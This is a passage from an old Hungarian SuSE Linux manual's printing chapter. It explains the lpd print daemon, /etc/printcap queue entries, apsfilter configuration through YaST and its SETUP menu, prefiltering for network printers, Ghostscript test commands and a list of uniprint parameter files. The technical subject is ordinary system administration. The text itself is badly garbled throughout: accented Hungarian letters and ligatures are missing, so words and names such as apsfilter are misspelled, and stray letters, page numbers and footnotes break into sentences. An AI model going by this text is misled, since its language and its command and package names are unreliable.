12.2. Nyomtatsi vrsorok: futtats s bellts aktv mdba kapcsol, amelyet az lpc> prompt jelez, tovbbi lpc-parancsra vrva. Az interaktv mdbl a quit vagy az exit paranccsal lehet kilpni. A nyomtatsi feladatok a vrsorban maradnak, ha nyomtats alatt lell a gp, s utna a Linux jra elindul. Tnkrement nyomtatsi feladat a vrsorbl a fentebb ismertetett parancsok segtsgvel tvolthat el.

lpd: nyomtatsvezrl a httrben o Az lpd -t (Line Printer Daemon) a /sbin/init/lpd indtja, s a httrben fut, felttelezve hogy az idevonatkoz opci a /etc/rc.config-ban be van lltva: START_LPD=yes (lsd mg a 3.6.12 . fejezetben (116. oldal)). Az lpd ellen rzi, hogy a /etc/printcap-ban mely nyomtatsi vrsorok o vannak meghatrozva. Ezek feladata, hogy megszervezzk s vgrehajtsk a gngyltett feladatokat: Vezrli a helyi nyomtatsi vrsorokat: minden feladat adatait keresztl kldi a megfelel sz r n - amely egy bejegyzssel van jellve a o uo /etc/printcap-ban s kifejezett (explicit) belltsa megtallhat a vezrl fjlban utna kvetkezik a nyomtat interfsz; o Felgyel a feladatok sorrendjre; Ellen rzi a vrsorok s nyomtatk llapott (status) a helyi spool o alknyvtrakban; Elkldi a feladatokat egy tvoli gpen lv lpd -nek; o Elfogad tvoli gpekr l rkez krseket a helyi vrsorral kapcsolatban, o o vagy megtagadja ezeket, ha az azonosts kudarcot vall. Azonosts: Csak olyan munkallomsoktl szrmaz krsek hajtdnak vgre, amelyek a /etc/hosts.lpd-ben fel vannak sorolva. Ezeket a neveket lehetsges a /etc/hosts.equiv-ban is elhelyezni, de ennek messzemen kvetkezmnyei vannak az elrhet sgi s biztonsgi kapcsoo o latokra vonatkozan, ezrt ezt inkbb kerljk el (Erre vonatkoznak a biztonsgrl szl 18.2.2 . fejezetben (490. oldal) lertak). Tovbbi idevg fogalmak: vrsor megtagadsa meghatrozott felhasznlnak, vagy felhasznl azonostval a helyi gpen. Szur k: a munkamnisok o A sz r programok feladata, hogy a feladatokat talaktsk a nyomtat sauo jt formtumra. Majdnem mindenre kpesnek kell lennik. Tbb kevsb hasonltanak ms rendszerek nyomtatmeghajtira, mint pldul az OS/2 s Windows rendszerek. De klnbz en azoktl, kpesek arra is, hogy szo mon tartsk a feladatokat (szmukat, a hasznlt er forrsokat, stb.). Lsd o a 12.3 . fejezetben (357. oldal) fejezetet a kvetkez oldalon. o 355

12. Nyomtatk A /etc/printcap, a vrsor belltsa A /etc/printcap-ban minden egyes vrsor meg van hatrozva egy-egy nll bejegyzssel, amiket res sor vlaszt el egymstl. A bejegyzs a vrsor egy vagy tbb megnevezsvel kezd dik (|-al (pipe, cs ) elvlasztva), o o ezt kveti a meghatrozsok felsorolsa1 , formtumuk: rvidts=<rtk> (:-al elvlasztva). Az "res" sorok, s a #-al kezd d ek megjegyzsnek szmtanak. o o Tbb pldabejegyzs (megjegyzsbe tett) is tallhat a /etc/printcap fjlban. Egy egyszer bejegyzs pldul gy nz ki: u
ascii|deskjet:lp=/dev/lp1:sd=/var/spool/ascii:sh:mx#10240

12.2.1 fjllista: A /etc/printcap tartalma egy egyszer helyi vrsor u szmra. Ez a vrsor ascii vagy deskjet nev nyomtatknt rhet el. A vrsor u o alknyvtra a /var/spool/ascii. A nyomtat eszkz a /dev/lp0. Nem jelent meg fejlc oldalt a nyomtats kezdetn (sh = supress header) s 10.240 bjt mretig fogad el nyomtatsi feladatokat. Tvoli nyomtat vrsorra a kvetkez fjllistban tallhat plda (ennek o belltsval foglalkozunk a 12.4 . fejezetben (363. oldal))2 .
lp1|HP-4P:\ :rm=atlantisz.liget:\ :rp=HP:\ :sd=/var/spool/lpd/lp1:\ :mx#0:sh

12.2.2 fjllista: A /etc/printcap tartalma egy egyszer tvoli vrsor u szmra A vrsor nevei lp1 s HP-4P. Az eszkzre vonatkoz informci helyett az atlantisz.liget nev gp HP nev vrsorra trtnik hivatkozs. u u A sz r k rszletezse felesleges ezekrt az atlantisz.liget vrsora uo a felel s. Ezrt csak a spooling alknyvtr (var/spool/lpd/lp1), s a o feladatok mretnek behatrolsa (mx#0 jelentse: korltlan) trtnt meg. Ha az apslter-t hasznljuk, egy j nyomtat vrsor (queues) szksges az automatikus /etc/printcap-ba val beadshoz. Tovbbi rszleteket lsd a 12.3 . fejezetben (359. oldal). Ha az apslter a YaST -tal van teleptve, hrom j vrsor jtt ltre a /etc/printcap llomnyban. Tovbbi informcik a 12.3 . fejezetben (359. oldal).
1 Ezek rvidtse, jelentsk s az alapbelltsok megtallhatk a printcap kziknyvoldalain. 2 A (backslash) kzvetlenl a sorvgn "elrejti" a sorvget gy mint amikor shell parancsokat adunk meg, gy ez a pldabejegyzs egy sornak szmt.

356

12.3. Nyomtat szur k az "apslter" o

12.3

Nyomtat szur k o

Mi a szur s hogyan mukdik? o A sz r feladata, hogy egy nyomtatsi feladat adatfjljt megfelel formuo o tumra alaktsa. Csak a paprmret, a felhasznl neve, a (helyi) munkalloms neve s a fjl neve addik t az lpd -nek. A UNIX sz r az adatfjlt az STDIN-en uo (szabvnyos bemeneten) kapja, s a nyomtatsra ksz kimenetet az STDOUTra (szabvnyos kimenetre) kldi. Nyilvnvalan a sz r nek ismernie kell a fjl formtumt (ASCII, DVI, uo PostScript, stb.) hogy kpes legyen azt talaktani. Kt t lehetsges ennek megvalstsra: A sz r elgg "intelligens", hogy felismerje a fjl formtumt s tartaluo maz egy "el -sz r t" ami ezt megteszi, s sok egyb programot, amelyek o uo megvalstjk az talaktst. Nagyjbl gy m kdik a SuSE Linux-szal u alaprtelmezsben teleptett apslter. Klnbz sz r k vannak a klnbz fjlformtumok szmra. Ezek o uo o a sz r k klnbz vrsorokhoz vannak rendelve, bejegyezve azokat uo o a /etc/printcap-be. A felhasznlnak ez esetben egy kiegszt o opcit kell alkalmaznia, amikor az lpr-t hasznlja. Nyolc opci rhet o el:
printcap bejegyzs lpr opci if= cf= -c df= -d gf= -g nf= -n rf= -f tf= -t vf= -v

Hagyomnyosan ezek az opcik3 meghatrozott fjl formtumokat jellnek ki. Csak az lpr opcijt kell belltani4 . Az if= szabvnyos sz r re uo A vonatkozik, viszont a df= DVI fjlra (ami a TEXb l s a LTEX-b l szro o mazik). A kvetkez ket begpelve a sajt DVI sz r HP LaserJet 4-hez o uo llthat be ( 12.3.1 fjllista), ha a te_dvilj csomag teleptve van. (Manapsg ajnlatos a megfelel Ghostscript-"meghajtt" alkalmazni az o ljet4 helyett).
df="/usr/bin/dvilj4 -e- -"

12.3.1 fjllista: DVI sz r bejegyzs a /etc/printcap-ban uo apslter Az aps csomag tartalmaz egy nagyon hasznos sz r t, az apslter-t. Az uo apslter klnsen hasznos a kvetkez krlmnyek esetn: o Ha a nyomtathat fjlok ltalnosan UNIX vagy PostScript formtumak. Ha sok klnll eszkz ll rendelkezsre, ami ms formtumra kpes talaktani, ilyen pldul a TEX-et s kpeket PostScript-be talakt program (pl. dvips a DVI s az a2ps az ASCII fjlok rszre).
lsd az lpr kziknyvoldalait. Ezt zr-bejegyzsnek "zero-lter entry" nevezzk, pl. a cf=/bin/cat hasznlata megengedett az lpr -c-vel.
4 3

357

12. Nyomtatk Ezutn mg ott van a Ghostscript, ami kpes PostScript fjlok tetsz leo ges nyomtat-specikus formtumba val talaktsra, nem-PostScript nyomtatk szmra (voltakpp egy nyomtat meghajtprogram gy jteu mnyr l beszlhetnk). o Az apslter egyesti mindezen klnll eszkzket, tartalmazva a fjlformtumok felismerst s a kitmrt eszkzket is. A formtumfelismers o (le) eredmnyt keresztlkldi a megadott eszkzn, majd vgl a nyomtatn. A /var/lib/apsfilter/apsfilter knyvtrban lv kzponti o shell-szkript a kvetkez fjl-formtumokat s kitmrtsi tpusokat ismeri: o ASCII, DVI, PS, Data (PCL, etc.), GIF, TIFF, PBM, Sun Raster, X11 Bitmap Tmrtsi tpusok: compress, gzip, freeze Az apslter mind a YaST -tal, mind a sajt menvezrelt szkriptjvel (SETUP (lprsetup)) bellthat. Az apslter nyomtatsi vrsorai Az apslter program a helyi nyomtat szmra a kvetkez vrsorokrl o gondoskodik: lp szabvnyos nyomtatsi vrsor minden fjlformtumnak. lp-mono csak sznes nyomtatk esetn hasznlatos s fekete-fehrben nyomtat, amgy az lp-hez hasonlan kezeli a formtumokat. ascii ASCII szvegfjlknt nyomtatja a fjlokat, kivve ha a spoolingrendszer ms formtumot vr el5 . raw kinyomtatja azokat a fjlokat, amelyek mr nyomtat-specikus formtumban vannak: nincs talaktsra szksg. Lehet sg van tovbbi helyi nyomtatk belltsra is; kzttk ko lnbsget tenni a vrsor nevvel lehet, amely tartalmazza a megfelel o Ghostscript-nyomtatmeghajt nevt, pl. djet500, djet500-ascii, djet500-raw, stb. ASCII fjlok: az alaprtelmezett belltsok a sz rsre vonatkozan a /etc/apsfilterrcu ben helyezkednek el: ASCII fjlok talaktsa a2ps-el PostScriptre; a2ps formtum: 2 darab ASCII-oldal egyms utn tglalap formban egy nyomtatott oldalon. A formtum megvltoztathat a FEATURE vltoz belltsban, amely a /etc/apsfilterrc-ben tallhat. A bellthat rtkek a megjegyzsekben megtallhatk. Ha el akarjuk kerlni a PostScriptbe val talaktst s a nyomtatt ASCII mdban kvnjuk hasznlni, csak a hash "#" jelet kell eltvoltani a USE_RECODE_NOT_A2PS=yes elejr l, s meg kell bizoo nyosodni, hogy az ap kszlet recode csomagja teleptve van-e.
5

Pl. a nmet umlautos a esetben.

358

12.3. Nyomtat szur k az "apslter" o apslter: bellts Az apslter bellthat a YaST sajt menvezrelt SETUP szkript-jvel. A bellts nem fog tkletesen m kdni, ha az idevonatkoz karakterek a u /etc/printcap elejn s az apslter bejegyzsnek vge vltozatlanul marad (lsd a 12.3.2 fjllistt a kvetkez oldalon)! o Bellts a YaST segtsgvel Egy helyi nyomtat YaST -tal val belltsa sorn, ha mr egy apslter bejegyzs ltezik, a YaST el szr megkrdezi, hogy fellrhat-e a rgi bejegyo zs, vagy az j belltst hozz kvnjuk-e f zni? Amit ezutn tehetnk a u YaST -ban, mr megtrgyaltuk a 3.6.1 . fejezetben (104. oldal). Ha telepteni akarjuk az j belltst, az a kvetkez sorrendben trtnik o (lnyegtelen, hogy a YaST -ot vagy a SETUP -ot hasznljuk a belltshoz): j nyomtatsi vrsor ltrehozsa a /etc/printcap-ban (lsd a kvetkez oldalon). o Ezek szmra Spool alknyvtrak ltrehozsa a /var/spool/lpd/ben. Az idevg nyomtatsz r k ltrehozsa a uo /var/lib/apsfilter/bin/-ben (ezek a /var/lib/apsfilter/ apsfilter fjlra mutat szimblikus linkek). A globlis belltsokat tartalmaz /etc/apsfilterrc fjl ltrehozsa (ha ez nem ltezne), s egy printer-specikus belltsokat tartalmaz fjl ltrehozsa (/etc/apsfilterrc.<gs_mode>). A kvetkez pldban a <gs_mode> egy Ghostscrip-nyomtat megnevezse, o pl.: bjc800. A 12.3.2 fjllista egy pldt mutat a Canon Bubblejet 800 jonnan ltrehozott nyomtatsi vrsorra. E pldban a hrom bejegyzs ugyanolyan mdon kszlt el. Ezrt err l csak o rviden beszlnk. Meghatrozzuk az eszkzt (lp=), a spool alknyvtrat (sd=), a log fjlt (lf=), a szmll fjlt (af=) s a szabvnyos sz r t (if=). uo A kezdskor hasznlt fejlc (sh), s a vgn lv lapdobs (sf) ki van kapo csolva. Bellts a SETUP -pal Az aps csomag tartalmaz egy belltprogramot, a /var/lib/apslter/SETUP -ot. A kvetkez szolgltatsokat ajnlja: o Minden apslter nyomtatbellts felsorolsa. Tmogatja az apslter nyomtatbelltsok beszrst, trlst. Helyi nyomtatk beiktatsa esetn a SETUP (tbbnyire) ugyanazt teszi, mint a YaST . Ezenkvl a SETUP kpes ltrehozni s trlni tvoli gpekre mutat nyomtatsi vrsorokat ("tvoli nyomtatsi vrsor", lsd a 12.2.2 . fejezetben (356. oldal)), s mg intelligens mdon el -sz r t is kszt hlzati o uo nyomtatk szmra. 359

12. Nyomtatk
### BEGIN apsfilter: ### bjc800 a4 mono 360 ### # Warning: Configured for apsfilter, do not edit the labels! # apsfilter setup Thu Sep 18 11:40:40 MEST 1997 # ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\ :lp=/dev/lp0:\ :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\ :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\ :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\ :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\ :la@:mx#0:\ :sh:sf: # lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\ # [ ... abbreviated ... ] # raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\ # [ ... abbreviated ... ] # # ### END apsfilter: ### bjc800 a4 mono 360 ###

12.3.2 fjllista: apslter nyomtatsi sor a /etc/printcap-ban A SETUP -pal knny megbartkozni, mivel menvezrelt s knny haszu u nlni. 1. A SETUP indtsa:
meggyfa: # /var/lib/apsfilter/SETUP

Ha X terminlban (xterm) gond van a menk lthatsgval (a kulcssz srga, vilgosszrke httrrel), a SETUP parancsszinten is indthat. Egy dvzl kperny jelenik meg, lerva a fentebb vzolt folyamatokat, o o melyekkel j apslter nyomtatk hozhatk ltre. Az letse utn elrhet a f men: o o Kilps az apslter setup-bl Kilistzza az apslter bejegyzseket Hozzad/Fellr/Trl egy apslter bejegyzst Egy apslter bejegyzs gyorstrlse Az OK s CANCEL gombok kztt a vlaszthatunk. A Tab -bal menpontok kztt a lefel ( s felfel ( mutat nyilakkal navigl) ) hatunk. EXIT kilps a SETUP -bl. LISTING az sszes ltez vrsor kilistzsa. o ENTRY j nyomtat hozzadshoz az ENTRY menpont hasznlhat. Ez egy msik menbe irnyt, ahol a nyomtat meghatroztat. DELETE Egy ltez apslter nyomtat trlse a DELETE meno ben trtnik, ahol az aktulis apslter-nyomtatk kzl lehet vlasztani. 360 EXIT LISTING ENTRY DELETE

12.3. Nyomtat szur k az "apslter" o 2. Ezutn az ENTRY kvetkezik. Helyi nyomtatk szmra ugyanazok a rszletek szksgesek, mint a YaST -tal val belltsnl. Els knt a o DEVICE (interfsz) megadsa szksges. Prhuzamos porton lv o helyi nyomtat esetn ez a /dev/lp0 2.2.xx. szm kernelek esetn. 3. Most a kvetkez k lthatk: o RETURN Vissza az el z menbe o o DEVICE A nyomtat interfsz kivlasztsa PRINTER A nyomtatmeghajt kivlasztsa PAPER A papr fajtja COLOR Egyszn /sznes u SPECIAL A nyomtat belltsai RESET A nyomtatmeghatrozsok alapllapotba hozsa ADD Nyomtatmeghatrozsok hozzadsa OVERWRITE Nyomtatmeghatrozs fellrsa DELETE Nyomtatmeghatrozs trlse DEVICE Mr kivlasztottuk. PRINTER Vessnk egy pillantst a PRINTER-re. Itt a megfelel o Ghostscript eszkz meghatrozsa ("meghajtja") van kivlasztva. Ez kt lpsben trtnik: (a) El szr vlasszuk ki a nyomtat tpust a kvetkez k kzl: o o PostScript HEWLETT-PACKARD (HP Deskjet-ek) OTHER (ms, nem-PostScript kompatibilis nyomtatk) FREEDEF (szabad meghatrozs) (b) Eredeti PostScript-nyomtatk szmra csak a felbontst kell meghatrozni a dialgus-ablakban. Ms nyomtatk szmra, a lehetsges GhostScript-meghajtk listja a COMMIT menpontban tallhat. Lsd a 12.6 . fejezetben (366. oldal). A GhostScript-meghajt kivlasztsa utn ki kell vlasztani a felbontst a megjelen dialo gusablakban. A RETURN-t vlasztva visszajuthatunk az el z o o menbe. PAPER A papr formtuma. COLOR Sznes vagy fekete-fehr. SPECIAL ltalban ezek a rszletek nem szksgesek. 4. Ezek utn vissza kell trni a Choose your printer definition menbe. Hiba elkvetse esetn vissza lehet trni a szksges almenbe s elvgezni a javtsokat. 5. Fontos: Az ADD megnyomsa vglegesen telepti az j nyomtatt. Vessnk egy pillantst pldul a less6 segtsgvel a /etc/printcap fjlra, hogy vajon szerepelnek-e benne az j nyomtatsi vrsorok. Minden apslter nyomtatnak tbb neve van: egy rszletes, meghatrozva az adott nyomtatt ler fjlt, s egy rvid a knyelem miatt (lsd a 12.3.2 fjllistt). Ezenkvl az lp, lp-mono, ascii, s a raw az els o helyi nyomtat tovbbi nyomtatsi vrsorai.
6

A less hasznlatt a 19.7.3 . fejezetben (500. oldal) rjuk le.

361

12. Nyomtatk A kongurcis fjlok, az apsfilterrc A /etc/apsfilterrc* fjlok lehet sget nyjtanak az apslter-shell o szkriptek m kdsnek sokkal kzelebbi, rszletes ellen rzsre, shell vltou o zk segtsgvel. A kvetkez vltozk a telepts sorn alaprtelmezsben o be vannak lltva: globlis /etc/apsfilterrc nyomtat-specikus fjlok, /etc/apsfilterrc.<gs_mode>, (pldul Canon BubbleJet 800: /etc/apsfilterrc.bjc800). Az el re installlt fjlok megjegyzsbe tett pldabejegyzseket taro talmaznak minden szabvnyos vltozra vonatkozan. A globlis /etc/apsfilterrc-ben minden vltoz jl-rosszul olvashat rszletes megjegyzssel van szemlltetve. A printer-specikus fjlokban s a globlis /etc/apsfilterrc-ben szerepl vltozk ugyanazok, s szablyosan szmozottak. Az apslter o minden feladat elvgzsnl el szr a globlis, majd a nyomtatspecikus o apsfilterrc-t olvassa ki. Ha brmi hiba lpne fel, a ks bb kiolvasott o rtk rszesl el nyben. Ezrt az ltalnos belltsok elhelyezhet k az o o apsrcpath-ben (pl. a nyomtat felbontsa), s ezek az alaprtkek helyettesthet k a meghatrozott nyomtat sajt maga szmra belltott rtkekkel. o Az apsfilterrc fjlokban trtnt vltozsok azonnal rvnybe lpnek. A /etc/apsfilterrc teljes rszletezse helyett a leggyakrabban hasznlt vltozkat emltjk meg: A FEATURE s a USE_RECODE_NOT_A2PS az ASCII-fjlok sz rst u ellen rzi (ezt a 12.3 . fejezetben (358. oldal) mr lertuk). o A REMOTE_PRINTER a hlzati nyomtatk munkinak el sz rsre o u hasznlatos. Ha ez true-ra van lltva, az idevg nyomtatsi vrsor feladatai sz rs utn a specilis tvoli nyomtatsi vrsorba kerlnek. u Ha ms rtket vlasztunk ki, az a tvoli nyomtat neveknt rtelmez dik. o Lsd a 12.4 fejezetben. A PRINT_RAW_SETUP_PRINTER ignybe vehet abban az esetben, o ha egy escape sor szksges a nyomtat raw nyomtatsi vrsorban lv feladatai szmra. Ennek a tartalma a raw nyomtatsi feladat el tt o o kld dik t a nyomtatra. Erre a /etc/apsfilterrc tartalmaz pldt o s szintaktikai lerst. A GS_RESOL lehet v teszi a GhostScript sz r ms felbontsra val o uo belltst, mint ami eredetileg volt belltva a nyomtat szmra. A DO_ACCOUNTING yes-re llthat ha egy szmontart (accountig) fjl ltrehozsa szksges. Ezzel egyid ben a :la@: bejegyzst szko sges berni a :la: helyett a /etc/printcap-be; ezutn az af-el meghatrozott fjl lesz informcival elltva. Hogy rendesen tudjuk ezt a kpessget hasznlni, hasznlnunk kell a plp programot; helyettestve az lprold csomagot a plpn csomaggal a n kszletb l. o Felhasznlspecikus belltsok: a SuSE Linuxban lv apslter-verzi o tmogatja a sajt home knyvtrban lv sajt ~/.apsfilterrc ltreo 362

12.4. Hlzati nyomtatk apslter-ei hozst. Ez a rendszerszint apsfilterrc utn rtkel dik ki, s gy u o fellrhatja annek belltsait. Biztonsgi okokbl a kirtkels az ppen fut nyomtat dmon hozzfrsi engedlyeivel trtnik s csak azok a ~/.apsfilterrc-ben lv utastsok engedlyez dnek, amelyek a ko o vetkez vltozknak lltanak be j rtket. Ezek a vltozk: TEXINPUTS, o PRINT_DVI, GS_FEATURES, USE_RECODE_NOTA2PS, FEATURE, A2PS_OPTS, DVIPS_MODE, GS_RESOL7 . Minden ms utastst gyelmen kvl hagy. Ha szksg van a HOME knyvtrban lv $HOME/.apsfilterrc-re, o bemsolhat a rendszerszint apsfilterrc, amelyet a kvnalmak szerint u mdostani lehet.

12.4

Hlzati nyomtatk apslter-ei

Egy hlzati nyomtat sajt TCP/IP interfsszel, a BSD-Spooling-System szempontjbl tvoli gpnek szmt, sajt nyomtatsi vrsorokkal (ezek nevei a nyomtat kziknyvben tallhatk, gyakran LPT1 a nv). Ezrt kln felhajts nlkl cmezhet tvoli nyomtatsi vrsorknt, pl. a helyi gp ltal o remote nvvel. Ha mindazontal szksg van a nyomtatsi munka sz rsre, a dolgok bou nyoldnak, mivel a nyomtatdmon, az lpd (lprold csomag) nem hajt vgre semmilyen el sz rst tvoli nyomtatsi vrsorok szmra, s gyelo u men kvl hagyja a /etc/printcap-ben tallhat sz rsre vonatkoz beu jegyzseket. Ezrt a tvoli nyomtatsi vrsornak mr nyomtatspecikus adattal rendelkez feladatot kell tartalmaznia; ez el sz rssel rhet el, ameo o u o lyet kerl ton hasznlhatunk. A SuSE verzij apslter rendelkezik ezzel o a kpessggel. Ha ezt a YaST -tal lltjuk be, sajnos szksges egy kis utlagos kzimunka. A SETUP program nmileg knyelmesebb. A SETUP elindtsa utn, ahogyan az a 12.3 . fejezetben (359. oldal) le van rva, kri a DEVICE megadst: PARALLEL SERIAL PREFILTER REMOTE Prhuzamos nyomtat interfsz Soros nyomtat interfsz Egy msik vrsornak (megkerls) Nyomtat tovbbt vrsor

1. El szr ltre kell hozni a tvoli hlzati nyomtatra vonatkoz nyomtao tsi vrsort a REMOTE pontban: ezutn meghatrozand, mely tvoli gphez van csatlakoztatva a nyomtat (pldnkban az atlantisz-hoz), s ott mely eszkz a tvoli nyomtat (szably szerint lp hiba esetn forduljunk a hlzati rendszeradminisztrtorhoz). A tvoli nyomtatsi vrsor meghatrozsa mg nem teljes; ne felejtsk el tnylegesen telepteni a nyomtatsi vrsort az ADD pontban . . .

Az engedlyezett vltozk a /var/lib/apsfilter/apsfilter-ben tallhatk.

363

12. Nyomtatk A /etc/printcap llomnyban lv bejegyzs gy nz ki: o


remote|lp1|atlantisz -lp|atlantisz lp:\ :lp=:\ :rm=atlantisz:\ :rp=lp:\ :sd=/var/spool/lpd/atlantisz -lp:\ :lf=/var/spool/lpd/atlantisz -lp/log:\ :af=/var/spool/lpd/atlantisz -lp/acct:\ :ar:bk:mx#0:\ :sh:

12.4.1 fjllista: /etc/printcap: Hlzati nyomtatra vonatkoz bejegyzs 2. A sor "helyi el sz rs"-re kerl. Emiatt a DEVICE meghatrozsnl o u a PREFILTER lehet sget kell vlasztani. A SETUP ezekutn mr o elgg intelligens ahhoz, hogy az el z leg teleptett hlzati nyomtatt o o javasolja:
remote remote=atlantisz queue=lp

Ezek legtbbjre tekintettel kell lenni, ha be akarunk lltani egy rendes helyi nyomtatt. Lsd a 3 . fejezetben (361. oldal). Amikor vgl kivlasztjuk az ADD-ot, tallni fogunk egy j fjlt a /etc/apsfilterrc mellett (lsd a 12.3.2 . fejezetben (360. oldal)), melynek a neve /etc/apsfilterrc.<gs_mode>, pldnkban /etc/apsfilterrc.bjc800, az albbi bejegyzssel:
REMOTE_PRINTER="remote"

Ez a bejegyzs hlzati nyomtatra vonatkozik; ha tbb hlzati nyomtatnk van, a nyomtat nevt hasznljuk a hlzaton a "remote" helyett8 . Lsd az brt ennek belltsra vonatkozan a kvetkez oldalon. o

12.5

Nhny sz a Ghostscript-r l o

Ha nincs a birtokunkban PostScript nyomtat, sz r nek a Ghostscript a leguo jobb vlaszts. A Ghostscript elfogadja a PostScript fjlokat, s talakts cljbl sok nyomtatmeghajtt tartalmaz. A Ghostscript (gs) szles kr u eszkz sok parancssori kapcsolval. Ha a Gostscript-et parancssorbl hvjuk meg, sajt parancssoros vltozatt jelenti meg, a GS-t. A GS dialgussort a quit megadsval hagyhatjuk el. Sajnos nincs elg helynk, hogy minden rszletet kitrgyaljunk9 . Brhogyis, azrt bemutatunk egy nagyon hasznos, segtsget ad parancsot:
jancsi@meggyfa: > gs -h | less

E parancs megjelenti az sszes lehetsges opcit s a verziszmot (ez utbbi nagyon fontos!) s a tmogatott eszkzk jelenlegi listjt. A 12.6 fejezetben
8 Ha ezt a YaST -tal lltjuk be, a bejegyzst "enabled"-re kell trnunk kzzel, s a /dev/nullt kell eszkzknt meghatroznunk. 9 Rvid ttekints tallhat a Ghostscript kziknyvoldaln. Szerencsre az apslter megkml az unalmas parancssori opcik megalkotstl.

364

12.5. Nhny sz a Ghostscript-r l o

lpr -Praw lpr (auto) lpr -Pascii


lpd

apsfilter # bypass

lpd

/dev/lpX

lpr -Psun

lpd ethernet lpd auf sun

filter for lp

/dev/lpX

12.1 bra: Tvoli nyomtats egyszer en (via bypass) u elhelyeztnk egy ilyen a listt, mely a kziknyv ksztsnek idejn tmogatott eszkzket tartalmazza. Ha nehzsgbe tkznk, hasznunkra lehet segtsgl hvni a Ghostscriptet egy nyomtathat PostScript llomnnyal (.ps), s a megalkotott nyomtatspecikus adatot kzvetlenl az eszkzre kldeni. A megfelel PostScript fjlok o sszestse a /usr/share/ghostscript/<version>/examples vagy a /var/lib/apsfilter/test knyvtrakban tallhat. A Ghostscriptet segtsgl hv parancs, amely pldul a "necp6" nyomtatmeghajtt hasznlja 360 360-as felbontsban, gy nzhet ki:
jancsi@meggyfa: > gs -q -dNOPAUSE -dSAFER \ -sDEVICE=necp6 \ -r360x360 -sOutputFile=testfile.lpr testfile.ps GS> quit jancsi@meggyfa: > su meggyfa: # cat testfile.lpr >/dev/lp0

Ha uniprint meghajtt hasznlunk paramter llomnnyal, a megfelel o parancs (Stylus nyomtat esetn) ez lehet:
jancsi@meggyfa: > gs @stc.upp -q -dNOPAUSE -dSAFER \ -r360x360 -sOutputFile=testfile.lpr \ testfile.ps quit.ps jancsi@meggyfa: > su meggyfa: # cat testfile.lpr > /dev/lp0

365

12. Nyomtatk Tipp: j nyomtatkrl informcikat a /usr/share/ghostscript/<version>/doc knyvtrban tallhat (pl. a devices.txt). A Ghostscript-Honlapjn a lehet legfrisebb informcikhoz juthat (verzik, o nyomtat kezels, stb.). A cme: http://www.cs.wisc.edu/~ghost/

12.6

Tmogatott nyomtatk jegyzke

A PostScripten, HP DeskJeten s Epson Stylus nyomtatkon kvl egsz sor ms nyomtatt tmogat a Ghostscript (5.10. verzi); az 5. verzi ta az "uniprint" meghajt j, ami minden esetben belltdik egy-egy nyomtatspecikus paramterllomnnyal a kvnt nyomtat szmra. Ezek a paramterfjlok kivlaszthatk az lprsetup-pal s elvgezhet rajtuk a o sajt igny szerinti testreszabs, ha szksges; ezek a /usr/share/ghostscript/<VERSION>/ knyvtrban helyezkednek el, s .upp kiterjeszts ek. El szr ezeket a paramterfjlokat rdemes u o kiprblni (lsd a 12.1 tblzatot), ha lteznek az adott nyomtathoz.

Canon bjc610a0.upp bjc610a1.upp bjc610a2.upp bjc610a3.upp bjc610a4.upp bjc610a5.upp bjc610a6.upp bjc610a7.upp bjc610a8.upp bjc610b1.upp bjc610b2.upp bjc610b3.upp bjc610b4.upp BJC 610, 360x360DPI, plain paper high speed, color, rendered BJC 610, 360x360DPI, plain paper, color, rendered BJC 610, 360x360DPI, coated paper, color, rendered BJC 610, 360x360DPI, transparency lm, color, rendered BJC 610, 360x360DPI, back print lm, color, rendered BJC 610, 360x360DPI, fabric sheet, color, rendered BJC 610, 360x360DPI, glossy paper, color, rendered BJC 610, 360x360DPI, high gloss lm, color, rendered BJC 610, 360x360DPI, high resolution paper, color, rendered BJC 610, 720x720DPI, plain paper, color, rendered BJC 610, 720x720DPI, coated paper, color, rendered BJC 610, 720x720DPI, transparency lm, color, rendered BJC 610, 720x720DPI, back print lm, color, rendered

12.1 tblzat: folytats a kvetkez oldalon...... o 366

12.6. Tmogatott nyomtatk jegyzke

bjc610b6.upp bjc610b7.upp bjc610b8.upp

BJC 610, 720x720DPI, glossy paper, color, rendered BJC 610, 720x720DPI, high gloss paper, color, rendered BJC 610, 720x720DPI, high resolution paper, color, rendered

Hewlett-Packard cdj550.upp NEC necp2x.upp necp2x6.upp Epson stc.upp stc_h.upp stc_l.upp stc1520h.upp stc2.upp stc2_h.upp stc2s_h.upp stc500p.upp stc500ph.upp stc600ih.upp stc600p.upp stc600pl.upp stc800ih.upp stc800p.upp stc800pl.upp stcany.upp Stylus Color I (s PRO Series), 360x360DPI, Plain Paper Stylus Color I (s PRO Series), 720x720DPI, Special Paper Stylus Color I (s PRO Series), 360x360DPI, noWeave Stylus Color 1520, 1440x720DPI, inkjet paper Stylus Color II / IIs, 360x360DPI, plain paper Stylus Color II, 720x720DPI, special paper Stylus Color IIs, 720x720DPI, special paper Stylus Color 500, 360x360DPI, not weaved, plain paper Stylus Color 500, 720x720DPI, not weaved, plain paper Stylus Color 600, 1440x720DPI, inkjet paper Stylus Color 600, 720x720DPI, plain paper Stylus Color 600, 360x360DPI, plain paper Stylus Color 800, 1440x720DPI, inkjet paper Stylus Color 800, 720x720DPI, plain paper Stylus Color 800, 360x360DPI, plain paper Any Stylus Color, 360x360DPI Prinwriter 2X, 360x360DPI, Plain Paper Prinwriter 2X, 360x360DPI, Plain Paper DeskJet 550c, 300x300DpI, Gamma=2

12.1 tblzat: Paramterfjlok az uniprint meghajthoz (Ghostscript 5.10 esetn)

Ha esetleg a nyomtat szmra nem tallhat paramterfjl, fel lehet haszo nlni a 12.2 . fejezetben (370. oldal) szerepl kiprblt "meghajtkat".

367

12. Nyomtatk

